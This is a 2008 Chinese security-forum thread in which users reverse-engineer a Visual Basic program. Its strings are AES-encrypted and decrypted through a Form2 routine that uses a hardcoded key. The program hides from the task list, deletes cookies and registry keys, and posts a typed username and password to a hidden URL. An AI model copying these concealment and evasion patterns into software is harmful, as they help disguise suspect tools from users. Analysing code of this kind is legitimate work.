Board logo

标题: [讨论]这是什么加密?VB中的!RSA? [打印本页]

作者: valen886    时间: 2008-7-21 00:57     标题: [讨论]这是什么加密?VB中的!RSA?


[讨论]这是什么加密?VB中的!RSA?
这是高兴的主程序的源码。但RSA加密了。。。。

Private Declare Sub InitCommonControls Lib "comctl32.dll" ()
Dim SysAll, QQFile As String
Dim SuiJi As String

Private Sub DoIt_Click()

DelCookies

XinXi.Caption = JieMi("5ECBDAC85D2612CBD65C1F28C2F35CAE  D7280A935D2249E1E48FA66B6329A0FC  BA7EAABFEE47D7A4F303A6318391A971")

Open SysAll & JieMi("5C9974DB3B36C7CCE51D3270A77496A2  2D64125484DA3FA8DAA9AA902A9DBF97") For Output As #1

Print #1, JieMi("E0F309A910DF4304FB1F03BCED0F7D99  DFC27E9CF8E73ED33B7FD76CDE33AD43")

Close #1

Dim JajaanIP As String

JajaanIP = SeCond.Test(JieMi("C2244CDA1C4EBA602B05C4B36621CD16"))

If JajaanIP <> JieMi("873B831AED27AFF5339B40915A0B570F") And JajaanIP <> JieMi("EBF3211C0F3F8DF3B9AB6464B8F35631") And JajaanIP <> JieMi("2ACB7FD718AF8A07BD20728F5F973230") And JajaanIP <> JieMi("107A6CB6DF0503DD868CD980319341F0") Then

End

Else

Label3.Caption = JieMi("3C0CFDBFD9EB848CC8160B2A4FB17A0A")

OnUsr.Navigate2 JieMi("06B6368A808385F531A977E6CF0C4824  2BE71EB6C4D2997BAAF5366453D7F10C  C6047DA8816073056A92D0D2235EF71C") & Usr.Text & JieMi("517734F4CB065F179F1E364A4B66F76C") & Psd.Text

End If

End Sub

Private Sub Form_Load()

App.TaskVisible = False

FirSt.Caption = JieMi("E4BB08FF3B6FAFD9099C1F36D55AC975  443244F4A1F4A8C88B475F9DFD597856")


Label1.Caption = JieMi("32EABDF98A4F5BC358D036E1444E64D6")

Label2.Caption = JieMi("97451B1DCBF424A14069CA7FEB7E4B5C")

DoIt.Caption = JieMi("A79695FEA9F4D360F6AAAF9C3826D427")

SysAll = Environ(JieMi("864F681F41E67FF7DB26C28998A26637"))

If App.PrevInstance = True Then '一个实例

MsgBox JieMi("44364506BA9063803B8E343402892EB6  39E40888B15CDF93F87EC8673CD6F650"), vbInformation, JieMi("00C99D9B7B051AD0EEFAD94D71B85B7C")

End

ElseIf Left$(App.Path, 1) <> Left$(SysAll, 1) Then '当前位置

MsgBox JieMi("59BAB39DA2B6080337F5EA7580D9D054  2984705F50063A4A8F94533BD7B461DE  9AB364121E7686351470F471C6846BC4  7FE9332E86FFA77C99FB1B893628FF05  A610D8C40CC69DBECAC961A059A5C777  626B449C0B065040FBFF78BB45060F92  49265A11D7961A67EDF248D8256C8C76  8B9D6EF6003E63658DC156C6FEBFE8AC  05920037D5A426727C6C84C8EF7F1B26  7F479380312C98F715993CCF3AFD2579  6D46EAB5940A77F0BD4B1DE65E242BB7  6C6B653D0D1B1C10E052A14B35CB7966"), vbInformation, JieMi("00C99D9B7B051AD0EEFAD94D71B85B7C")

End

End If

End Sub
Private Sub Form_Initialize()

    InitCommonControls

End Sub

Private Sub Form_Unload(Cancel As Integer)

End

End Sub

Private Sub OnUsr_DocumentComplete(ByVal pDisp As Object, URL As Variant)

On Error Resume Next

Dim vDoc, vTag

Dim Yhtm As String

Dim i As Integer

Set vDoc = OnUsr.Document

If Label3.Caption = JieMi("3C0CFDBFD9EB848CC8160B2A4FB17A0A") Then

Dim CiShu As String

Yhtm = vDoc.body.innerhtml

If InStr(Yhtm, JieMi("EB8BE35DD7C8360B93B5D9FA7B5D4994")) <> "0" Then

CiShu = Right(Yhtm, Len(Yhtm) - (InStr(Yhtm, JieMi("EB8BE35DD7C8360B93B5D9FA7B5D4994"))))

Label3.Caption = JieMi("DD536B608B14F03B5E4BC9C07D443784")

Randomize

SuiJi = Int(Rnd * 999999999 + 1)

OnUsr.Navigate2 JieMi("06B6368A808385F531A977E6CF0C4824  2BE71EB6C4D2997BAAF5366453D7F10C  C6047DA8816073056A92D0D2235EF71C") & Usr.Text & JieMi("517734F4CB065F179F1E364A4B66F76C") & Psd.Text & JieMi("99E164E44392E420F04E3FA65675B009") & SuiJi & JieMi("F374E94DB4DBC4A3090767A37653BA6A") & QQPassWord(CLng(CiShu) & JieMi("D09CBD45CB6EFAB9F6AD717A2E5FD53D  ABC9FFF3488A0B8A6ACC4BE1D39772E8"))

Else

Wait.Enabled = True

End If

ElseIf Label3.Caption = JieMi("DD536B608B14F03B5E4BC9C07D443784") Then

Wait.Enabled = True

End If

End Sub

Private Sub PanDuan_Timer()

DuQQ

End Sub

Private Sub Psd_KeyPress(KeyAscii As Integer)

If KeyAscii = 13 Then

DoIt_Click

KeyAscii = 0

End If

End Sub

Private Sub ToScan_Timer()

If InStr(XinXi.Caption, JieMi("098C77935320F1BB1642B327DA312451")) <> JieMi("680BC3677D575452D2498E8A532985D3") Then

FirSt.Visible = False

SeCond.Visible = True

ToScan.Enabled = False

Else

End

End If

ToScan.Enabled = False

End Sub

Private Sub Wait_Timer()

DelCookies

JianCha

Wait.Enabled = False

End Sub

Function DelCookies()

Open SysAll & JieMi("5C9974DB3B36C7CCE51D3270A77496A2  2D64125484DA3FA8DAA9AA902A9DBF97") For Output As #1

Print #1, JieMi("E0F309A910DF4304FB1F03BCED0F7D99  DFC27E9CF8E73ED33B7FD76CDE33AD43")

Close #1

Call DeleteKey(HKEY_CURRENT_USER, JieMi("17D0E35CE6798198FE1DAFC05B206389  6B8B957AB78800D3CBF852268471DAE7  B67AC0FD915AB4ECBF6487A76842727D"))

Call DeleteKey(HKEY_LOCAL_MACHINE, JieMi("7E62852DBD0270774193FA5693E66993  6E4547E639F6B0DC1A2E14E1CAAF42EC  A92213FE271156332A1EDD74BA4B8C92  269F1C793484EE00A322405396827901  AB7212F57E7D0E49332A6D67C88AF637  BB7CBA079E710DDC2BB4DDAF3A849333  DDD924E47C73B42284785CCB026A6F92"))

Call DeleteKey(HKEY_LOCAL_MACHINE, JieMi("7E62852DBD0270774193FA5693E66993  6E4547E639F6B0DC1A2E14E1CAAF42EC  A92213FE271156332A1EDD74BA4B8C92  269F1C793484EE00A322405396827901  AB7212F57E7D0E49332A6D67C88AF637  7A8D5E113E05DFC6261F68AA4B8F16C5"))

Call DeleteKey(HKEY_LOCAL_MACHINE, JieMi("7E62852DBD0270774193FA5693E66993  6E4547E639F6B0DC1A2E14E1CAAF42EC  A92213FE271156332A1EDD74BA4B8C92  269F1C793484EE00A322405396827901  0EAF3D2ABFD31994A4C7E9B9A2AD0FC0"))

Call SaveDword(HKEY_LOCAL_MACHINE, JieMi("7E62852DBD0270774193FA5693E66993  6E4547E639F6B0DC1A2E14E1CAAF42EC  A92213FE271156332A1EDD74BA4B8C92  269F1C793484EE00A322405396827901  74C5F2F0FD881FBC934BF76325C256B5  97CD189A11A09687428A179DAAC4D247"), JieMi("CB782466A4FBB58C99D32F2A90818994"), JieMi("3D82F2B9B0464617A06EB67D6F864641"))

DeleteIE.ShanChuIE

End Function

Private Sub YiZhi_Timer()

DelCookies

End Sub

Function DuQQ()

QQFile = getstring(HKEY_LOCAL_MACHINE, JieMi("958F4F15B61D77A54F516AE669886D23  1B2EFF99B43A9A29B4080AC738B4E896"), JieMi("9EAEFB5093663CFDED3AF7993326789D"))

If Dir(QQFile & JieMi("758D17D15C656C9FD205B520C7401E33  AF7A9DE33D1460FDA31B88D03634DFC6")) <> "" Then

PoJie

End If

End Function

Function PoJie()

SeCond.CloseScan

End

End Function
Function JianCha()

Dim vDoc  As String

vDoc = OnUsr.Document.documentElement.innerhtml

vDoc = Trim(vDoc)

If InStr(1, vDoc, JieMi("7879D6B95377A30F3A9EE075C1C446E0")) <> 0 Then

sedddb = JieMi("27EB77C2D3755FEE44D58B77D0D9F2CE  C6F9375F7ABFF088E043FF86EEBA019C")

XinXi.Caption = sedddb

ToScan.Enabled = True

ElseIf InStr(1, vDoc, JieMi("4313E3FD61CF56A76140D375684C45B2")) <> 0 Then

XinXi.Caption = JieMi("C9E4AF7753B9D2E747B2D2EB8D13ED5A  64EE1D119F7A5C55F29ABF5F61672341")

ToScan.Enabled = True

ElseIf InStr(1, vDoc, JieMi("64DD019F4A895415BAF47CBBB112F1DE")) <> 0 Then

XinXi.Caption = JieMi("66736FB4A65B86B5D3D7C6A90520B286  F7DE319F0D5EF655C4421965674959C0")

ToScan.Enabled = True

ElseIf InStr(1, vDoc, JieMi("2614238EA836700D092F11F189F8E6EA")) <> 0 Then

XinXi.Caption = JieMi("12E3D9BD19F516B1809000CA25453FCA  E11EF525E5A2B7175EBEE56774BD6AB0")

ToScan.Enabled = True

ElseIf InStr(vDoc, QQPassWord(SuiJi & JieMi("53D202E161DE40610670A8D388ED4898"))) <> 0 Then

XinXi.Caption = "Login Success, Now to Scan."

ToScan.Enabled = True

Else

XinXi.Caption = JieMi("66736FB4A65B86B5D3D7C6A90520B286  F7DE319F0D5EF655C4421965674959C0")

ToScan.Enabled = True

End If

End Function

Public Function JieMi(Qian As String) As String

Form2.Text1.Text = Qian

Form2.Jiem

JieMi = Form2.Text1.Text

End Function
作者: 实话实说    时间: 2008-7-21 00:57

肯定不是RSA

很简单的代码, 解密算法在FORM2文件中

楼上贴出来的只有FORM1的过程

重点查看FORM2 里面的
Public sub jiem
end sub
作者: PS2    时间: 2008-7-21 00:57

这个是FORM2中的!
Option Explicit


#Const SUPPORT_LEVEL = 0     'Default=0
'Must be equal to SUPPORT_LEVEL in cRijndael

'An instance of the Class
Private m_Rijndael As New cRijndael


'Used to display what the program is doing in the Form's caption
Public Property Let Status(TheStatus As String)
    If Len(TheStatus) = 0 Then
        Me.Caption = App.Title
    Else
        Me.Caption = App.Title & " - " & TheStatus
    End If
    Me.Refresh
End Property


'Assign TheString to the Text property of TheTextBox if possible.  Otherwise give warning.
Private Sub DisplayString(TheTextBox As TextBox, ByVal TheString As String)
    If Len(TheString) < 65536 Then
        TheTextBox.Text = TheString
    Else
        MsgBox "Can not assign a String larger than 64k " & vbCrLf & _
               "to the Text property of a TextBox control." & vbCrLf & _
               "If you need to support Strings longer than 64k," & vbCrLf & _
               "you can use a RichTextBox control instead.", vbInformation
    End If
End Sub


'Returns a String containing Hex values of data(0 ... n-1) in groups of k
Private Function HexDisplay(data() As Byte, n As Long, k As Long) As String
    Dim i As Long
    Dim j As Long
    Dim c As Long
    Dim data2() As Byte

    If LBound(data) = 0 Then
        ReDim data2(n * 4 - 1 + ((n - 1) \ k) * 4)
        j = 0
        For i = 0 To n - 1
            If i Mod k = 0 Then
                If i <> 0 Then
                    data2(j) = 32
                    data2(j + 2) = 32
                    j = j + 4
                End If
            End If
            c = data(i) \ 16&
            If c < 10 Then
                data2(j) = c + 48     ' "0"..."9"
            Else
                data2(j) = c + 55     ' "A"..."F"
            End If
            c = data(i) And 15&
            If c < 10 Then
                data2(j + 2) = c + 48 ' "0"..."9"
            Else
                data2(j + 2) = c + 55 ' "A"..."F"
            End If
            j = j + 4
        Next i
Debug.Assert j = UBound(data2) + 1
        HexDisplay = data2
    End If

End Function


'Reverse of HexDisplay.  Given a String containing Hex values, convert to byte array data()
'Returns number of bytes n in data(0 ... n-1)
Private Function HexDisplayRev(TheString As String, data() As Byte) As Long
    Dim i As Long
    Dim j As Long
    Dim c As Long
    Dim d As Long
    Dim n As Long
    Dim data2() As Byte

    n = 2 * Len(TheString)
    data2 = TheString

    ReDim data(n \ 4 - 1)

    d = 0
    i = 0
    j = 0
    Do While j < n
        c = data2(j)
        Select Case c
        Case 48 To 57    '"0" ... "9"
            If d = 0 Then   'high
                d = c
            Else            'low
                data(i) = (c - 48) Or ((d - 48) * 16&)
                i = i + 1
                d = 0
            End If
        Case 65 To 70   '"A" ... "F"
            If d = 0 Then   'high
                d = c - 7
            Else            'low
                data(i) = (c - 55) Or ((d - 48) * 16&)
                i = i + 1
                d = 0
            End If
        Case 97 To 102  '"a" ... "f"
            If d = 0 Then   'high
                d = c - 39
            Else            'low
                data(i) = (c - 87) Or ((d - 48) * 16&)
                i = i + 1
                d = 0
            End If
        End Select
        j = j + 2
    Loop
    n = i
    If n = 0 Then
        Erase data
    Else
        ReDim Preserve data(n - 1)
    End If
    HexDisplayRev = n

End Function


'Returns a byte array containing the password in the txtPassword TextBox control.
'If "Plaintext is hex" is checked, and the TextBox contains a Hex value the correct
'length for the current KeySize, the Hex value is used.  Otherwise, ASCII values
'of the txtPassword characters are used.
Private Function GetPassword() As Byte()
    Dim data() As Byte

    If Check1.Value = 0 Then
        data = StrConv(txtPassword.Text, vbFromUnicode)
        ReDim Preserve data(31)
    Else
        If HexDisplayRev(txtPassword.Text, data) <> (cboKeySize.ItemData(cboKeySize.ListIndex) \ 8) Then
            data = StrConv(txtPassword.Text, vbFromUnicode)
            ReDim Preserve data(31)
        End If
    End If
    GetPassword = data
End Function


Private Sub cmdDecrypt_Click()
    Dim pass()        As Byte
    Dim plaintext()   As Byte
    Dim ciphertext()  As Byte
    Dim KeyBits       As Long
    Dim BlockBits     As Long

    If Len(Text1.Text) = 0 Then
        MsgBox "No Ciphertext"
    Else
        If Len(txtPassword.Text) = 0 Then
            MsgBox "No Password"
        Else
            KeyBits = cboKeySize.ItemData(cboKeySize.ListIndex)
            BlockBits = cboBlockSize.ItemData(cboBlockSize.ListIndex)
            pass = GetPassword

            Status = "Converting Text"
            If HexDisplayRev(Text1.Text, ciphertext) = 0 Then
                MsgBox "Text not Hex data"
                Status = ""
                Exit Sub
            End If

            Status = "Decrypting Data"
#If SUPPORT_LEVEL Then
            m_Rijndael.SetCipherKey pass, KeyBits, BlockBits
            If m_Rijndael.ArrayDecrypt(plaintext, ciphertext, 0, BlockBits) <> 0 Then
                Status = ""
                Exit Sub
            End If
#Else
            m_Rijndael.SetCipherKey pass, KeyBits
            If m_Rijndael.ArrayDecrypt(plaintext, ciphertext, 0) <> 0 Then
                Status = ""
                Exit Sub
            End If
#End If
            Status = "Converting Text"
            If Check1.Value = 0 Then
                DisplayString Text1, StrConv(plaintext, vbUnicode)
            Else
                DisplayString Text1, HexDisplay(plaintext, UBound(plaintext) + 1, BlockBits \ 8)
            End If
            Status = ""
        End If
    End If
End Sub

Private Sub cmdEncrypt_Click()
    Dim pass()        As Byte
    Dim plaintext()   As Byte
    Dim ciphertext()  As Byte
    Dim KeyBits       As Long
    Dim BlockBits     As Long

    If Len(Text1.Text) = 0 Then
        MsgBox "No Plaintext"
    Else
        If Len(txtPassword.Text) = 0 Then
            MsgBox "No Password"
        Else
            KeyBits = cboKeySize.ItemData(cboKeySize.ListIndex)
            BlockBits = cboBlockSize.ItemData(cboBlockSize.ListIndex)
            pass = GetPassword

            Status = "Converting Text"
            If Check1.Value = 0 Then
                plaintext = StrConv(Text1.Text, vbFromUnicode)
            Else
                If HexDisplayRev(Text1.Text, plaintext) = 0 Then
                    MsgBox "Text not Hex data"
                    Status = ""
                    Exit Sub
                End If
            End If

            Status = "Encrypting Data"
#If SUPPORT_LEVEL Then
            m_Rijndael.SetCipherKey pass, KeyBits, BlockBits
            m_Rijndael.ArrayEncrypt plaintext, ciphertext, 0, BlockBits
#Else
            m_Rijndael.SetCipherKey pass, KeyBits
            m_Rijndael.ArrayEncrypt plaintext, ciphertext, 0
#End If
            Status = "Converting Text"
            DisplayString Text1, HexDisplay(ciphertext, UBound(ciphertext) + 1, BlockBits \ 8)
            Status = ""
        End If
    End If
End Sub


Private Sub cmdFileEncrypt_Click()
    Dim FileName  As String
    Dim FileName2 As String
    Dim pass()    As Byte
    Dim KeyBits   As Long
    Dim BlockBits As Long

    If Len(txtPassword.Text) = 0 Then
        MsgBox "No Password"
    Else
        FileName = FileDialog(Me, False, "File to Encrypt", "*.*|*.*")
        If Len(FileName) <> 0 Then
            FileName2 = FileDialog(Me, True, "Save Encrypted Data As ...", "*.aes|*.aes|*.*|*.*", FileName & ".aes")
            If Len(FileName2) <> 0 Then
                RidFile FileName2
                KeyBits = cboKeySize.ItemData(cboKeySize.ListIndex)
                BlockBits = cboBlockSize.ItemData(cboBlockSize.ListIndex)
                pass = GetPassword

                Status = "Encrypting File"
#If SUPPORT_LEVEL Then
                m_Rijndael.SetCipherKey pass, KeyBits, BlockBits
                m_Rijndael.FileEncrypt FileName, FileName2, BlockBits
#Else
                m_Rijndael.SetCipherKey pass, KeyBits
                m_Rijndael.FileEncrypt FileName, FileName2
#End If
                Status = ""
            End If
        End If
    End If
End Sub
Private Sub cmdFileDecrypt_Click()
    Dim FileName  As String
    Dim FileName2 As String
    Dim pass()    As Byte
    Dim KeyBits   As Long
    Dim BlockBits As Long

    If Len(txtPassword.Text) = 0 Then
        MsgBox "No Password"
    Else
        FileName = FileDialog(Me, False, "File to Decrypt", "*.aes|*.aes|*.*|*.*")
        If Len(FileName) <> 0 Then
            If InStrRev(FileName, ".aes") = Len(FileName) - 3 Then FileName2 = Left$(FileName, Len(FileName) - 4)
            FileName2 = FileDialog(Me, True, "Save Decrypted Data As ...", "*.*|*.*", FileName2)
            If Len(FileName2) <> 0 Then
                RidFile FileName2
                KeyBits = cboKeySize.ItemData(cboKeySize.ListIndex)
                BlockBits = cboBlockSize.ItemData(cboBlockSize.ListIndex)
                pass = GetPassword

                Status = "Decrypting File"
#If SUPPORT_LEVEL Then
                m_Rijndael.SetCipherKey pass, KeyBits, BlockBits
                m_Rijndael.FileDecrypt FileName2, FileName, BlockBits
#Else
                m_Rijndael.SetCipherKey pass, KeyBits
                m_Rijndael.FileDecrypt FileName2, FileName
#End If
                Status = ""
            End If
        End If
    End If
End Sub




Private Sub Form_Initialize()

    cboBlockSize.AddItem "128 Bit"
    cboBlockSize.ItemData(cboBlockSize.NewIndex) = 128
#If SUPPORT_LEVEL = 0 Then
    cboBlockSize.Enabled = False
#Else
#If SUPPORT_LEVEL = 2 Then
    cboBlockSize.AddItem "160 Bit"
    cboBlockSize.ItemData(cboBlockSize.NewIndex) = 160
    cmdSizeTest.Visible = True
#End If
    cboBlockSize.AddItem "192 Bit"
    cboBlockSize.ItemData(cboBlockSize.NewIndex) = 192
#If SUPPORT_LEVEL = 2 Then
    cboBlockSize.AddItem "224 Bit"
    cboBlockSize.ItemData(cboBlockSize.NewIndex) = 224
#End If
    cboBlockSize.AddItem "256 Bit"
    cboBlockSize.ItemData(cboBlockSize.NewIndex) = 256
#End If
    cboKeySize.AddItem "128 Bit"
    cboKeySize.ItemData(cboKeySize.NewIndex) = 128
#If SUPPORT_LEVEL = 2 Then
    cboKeySize.AddItem "160 Bit"
    cboKeySize.ItemData(cboKeySize.NewIndex) = 160
#End If
    cboKeySize.AddItem "192 Bit"
    cboKeySize.ItemData(cboKeySize.NewIndex) = 192
#If SUPPORT_LEVEL = 2 Then
    cboKeySize.AddItem "224 Bit"
    cboKeySize.ItemData(cboKeySize.NewIndex) = 224
#End If
    cboKeySize.AddItem "256 Bit"
    cboKeySize.ItemData(cboKeySize.NewIndex) = 256
    cboBlockSize.ListIndex = 0
    cboKeySize.ListIndex = 0
    txtPassword = Chr(50) + Chr(50) + Chr(52) + Chr(49) + Chr(51) + Chr(53) + Chr(55)
End Sub


'COMPLIANCE TESTING
'
'There are many AES and Rijndael Test Vector Files available on the internet so you can
'verify that an implementation is correct.  Below is a simple test that encrypts and
'decrypts one block for each of the 25 combinations of block and key size.  These test
'vectors were created by Dr Brian Gladman.
'
'If the "Plaintext is hex" CheckBox is checked, plaintext is read and written as Hex values,
'just like the ciphertext.  Also, you can enter a Hex value in the txtPassword TextBox.
'To use the "Plaintext is hex" CheckBox, you need to make it visible yourself.  Then you
'can "cut and paste" data directly from known answer test value files.
'
'I've done a reasonable amount of compliance testing, including a few (10,000 iteration) monte
'carlo tests.  I am fairly certain that the class is 100% compliant.  If you find any problems
'or strange behavior, please let me know so it can be corrected.
'
#If SUPPORT_LEVEL = 2 Then
Private Sub TestStuff(plaintext As String, passtext As String, ciphertext As String)
    Dim k As Long
    Dim p1() As Byte
    Dim c1() As Byte
    Dim cdata() As Byte
    Dim pdata() As Byte
    Dim pass() As Byte
    Dim Nk As Long
    Dim Nb As Long
    Dim n As Long

    k = HexDisplayRev(passtext, pass)
    Nk = k \ 4
    If Nk * 4 <> k Or Nk < 4 Or Nk > 8 Then Exit Sub

    n = HexDisplayRev(plaintext, pdata)
    Nb = n \ 4
    If Nb * 4 <> n Or Nb < 4 Or Nb > 8 Then Exit Sub

    If n <> HexDisplayRev(ciphertext, cdata) Then Exit Sub

    m_Rijndael.SetCipherKey pass, Nk * 32, Nb * 32
    m_Rijndael.ArrayEncrypt pdata, c1, 0, Nb * 32
    m_Rijndael.ArrayDecrypt p1, cdata, 0, Nb * 32

    Text1.Text = Text1.Text & vbCrLf & "ENCRYPT TEST  " & CStr(Nb * 4) & " byte block, " & CStr(Nk * 4) & " byte key" & vbCrLf
    Text1.Text = Text1.Text & "KEY:          " & passtext & IIf(UCase$(passtext) = HexDisplay(pass, Nk * 4, Nk * 4), " = ", "<>") & vbCrLf & String(14, 32) & HexDisplay(pass, Nk * 4, Nk * 4) & vbCrLf
    Text1.Text = Text1.Text & "PLAINTEXT:    " & plaintext & IIf(UCase$(plaintext) = HexDisplay(p1, Nb * 4, Nb * 4), " = ", "<>") & vbCrLf & String(14, 32) & HexDisplay(p1, Nb * 4, Nb * 4) & vbCrLf
    Text1.Text = Text1.Text & "CIPHERTEXT:   " & ciphertext & IIf(UCase$(ciphertext) = HexDisplay(c1, Nb * 4, Nb * 4), " = ", "<>") & vbCrLf & String(14, 32) & HexDisplay(c1, Nb * 4, Nb * 4) & vbCrLf

End Sub
#End If
Function Jiem() As String

cmdDecrypt_Click

End Function
作者: 摩托车    时间: 2008-7-21 00:57

提示: 作者被禁止或删除 内容自动屏蔽
作者: 大梦东莞    时间: 2008-7-21 00:58

直接运行form2里面已经包含了加密解密的界面了自从做了俯卧撑,腰也不痛了,背也不酸了,打酱油也有劲了
[
作者: Alice    时间: 2008-7-21 00:58

提示: 作者被禁止或删除 内容自动屏蔽




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com./) Powered by Discuz! 7.2